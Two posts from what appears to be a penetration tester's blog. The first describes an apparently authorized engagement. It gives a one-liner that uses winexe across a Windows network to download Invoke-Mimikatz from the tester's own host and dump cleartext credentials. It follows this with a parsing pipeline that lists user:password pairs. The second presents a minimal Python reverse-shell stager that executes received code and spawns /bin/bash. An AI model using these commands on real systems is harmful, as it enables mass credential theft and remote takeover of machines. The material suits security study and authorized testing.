Wednesday, June 29, 2016

Mimikatz All The Things

A while back I was onsite doing another easy-mode pentest that had local admin shared EVERYWHERE (come on guys) when the client walked in and bet me lunch that I couldn't get his password in the next 45 minutes. I don't know if he was doing it as a joke being as how he already knew I had local admin, or if he was genuinely in need of an illustration at just how quickly things can go bad. Either way, I had his permission to watch the world burn.

It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.

PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.

To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080

I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt

So what is it doing? Let's break it down.

sort -R targets | #randomize the targets and pass them in
parallel -P10     #kick off parallel with 10 jobslots
--timeout 60      #kill each job if it exceeds 60 seconds
--tag             #tag each line of output, not really necessary but why not
-q winexe         #quote the following command and args
--system          #run winexe service as NT AUTH\SYSTEM
--uninstall       #uninstall the service when finished
-U 'CREDS'        #pass the login creds to winexe
//{}              #the magic; where parallel will substitute in the input 

Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""

The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.

Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt

It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01
CLIENTS_DOMAIN\user02:password02
CLIENTS_DOMAIN\user03:password03
CLIENTS_DOMAIN\user04:password04
CLIENTS_DOMAIN\user05:password05
.
.

Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.

Wednesday, June 15, 2016

The Smallest Python Reverse Shell

I've done quite a bit of searching and I'm fairly sure I've created the smallest Python reverse shell (not including simply using bash) of 77 characters. 100 characters is the smallest that I've ever seen on the web. If someone finds or comes up with something smaller, I'd love to see how you did it.

import socket as a
s=a.socket()
s.connect(("localhost",24))
exec(s.recv(999))

This could more accurately be considered a stager than an actual bind shell. What this does is open a socket connection to (in this case) localhost on port 24. It then receives input from the server and executes it internally as python code. This still requires you to send it the actual Python code to start the shell, which I just paste into my netcat listener once it connects.

The recv/exec combo seems to do weird things with new lines so I just paste in the entire thing as one line:

import pty,os;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close()

So once the python script connects, paste that one liner into the netcat session and hit ctrl+d (so as to not append a \n) and then bam, a shell shows up.

Let's see the golfers play at it :D

EDIT: I golfed it. You can make the connect line shorter by replacing "localhost" with "127.1" which is equivalent but less characters. This would bring the total number of characters from 77 to 72.